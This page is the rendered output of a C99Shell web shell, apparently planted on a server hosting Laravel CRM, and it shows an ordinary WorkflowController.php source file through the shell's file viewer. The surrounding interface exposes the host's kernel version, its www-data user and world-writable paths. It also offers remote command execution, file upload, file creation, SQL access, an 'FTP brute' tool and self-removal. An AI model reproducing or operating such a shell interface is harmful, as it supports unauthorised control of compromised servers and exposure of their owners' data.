!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Settings/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WorkflowController.php (3.26 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Settings;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\View\View;
use 
Webkul\Admin\DataGrids\Settings\WorkflowDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Automation\Repositories\WorkflowRepository;

class 
WorkflowController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(protected WorkflowRepository $workflowRepository) {}

    
/**
     * Display a listing of the workflow.
     */
    
public function index(): View|JsonResponse
    
{
        if (
request()->ajax()) {
            return 
datagrid(WorkflowDataGrid::class)->process();
        }

        return 
view('admin::settings.workflows.index');
    }

    
/**
     * Show the form for creating a new resource.
     */
    
public function create(): View
    
{
        return 
view('admin::settings.workflows.create');
    }

    
/**
     * Store a newly created workflow in storage.
     */
    
public function store(): RedirectResponse
    
{
        
$this->validate(request(), [
            
'name' => 'required',
        ]);

        
Event::dispatch('settings.workflow.create.before');

        
$workflow $this->workflowRepository->create(request()->all());

        
Event::dispatch('settings.workflow.create.after'$workflow);

        
session()->flash('success'trans('admin::app.settings.workflows.index.create-success'));

        return 
redirect()->route('admin.settings.workflows.index');
    }

    
/**
     * Show the form for editing the specified workflow.
     */
    
public function edit(int $id): View
    
{
        
$workflow $this->workflowRepository->findOrFail($id);

        return 
view('admin::settings.workflows.edit'compact('workflow'));
    }

    
/**
     * Update the specified workflow in storage.
     */
    
public function update(int $id): RedirectResponse
    
{
        
$this->validate(request(), [
            
'name' => 'required',
        ]);

        
Event::dispatch('settings.workflow.update.before'$id);

        
$workflow $this->workflowRepository->update(request()->all(), $id);

        
Event::dispatch('settings.workflow.update.after'$workflow);

        
session()->flash('success'trans('admin::app.settings.workflows.index.update-success'));

        return 
redirect()->route('admin.settings.workflows.index');
    }

    
/**
     * Remove the specified workflow from storage.
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$workflow $this->workflowRepository->findOrFail($id);

        try {
            
Event::dispatch('settings.workflow.delete.before'$id);

            
$workflow->delete($id);

            
Event::dispatch('settings.workflow.delete.after'$id);

            return 
response()->json([
                
'message' => trans('admin::app.settings.workflows.index.delete-success'),
            ], 
200);
        } catch (
\Exception $exception) {
            return 
response()->json([
                
'message' => trans('admin::app.settings.workflows.index.delete-failed'),
            ], 
400);
        }

        return 
response()->json([
            
'message' => trans('admin::app.settings.workflows.index.delete-failed'),
        ], 
400);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--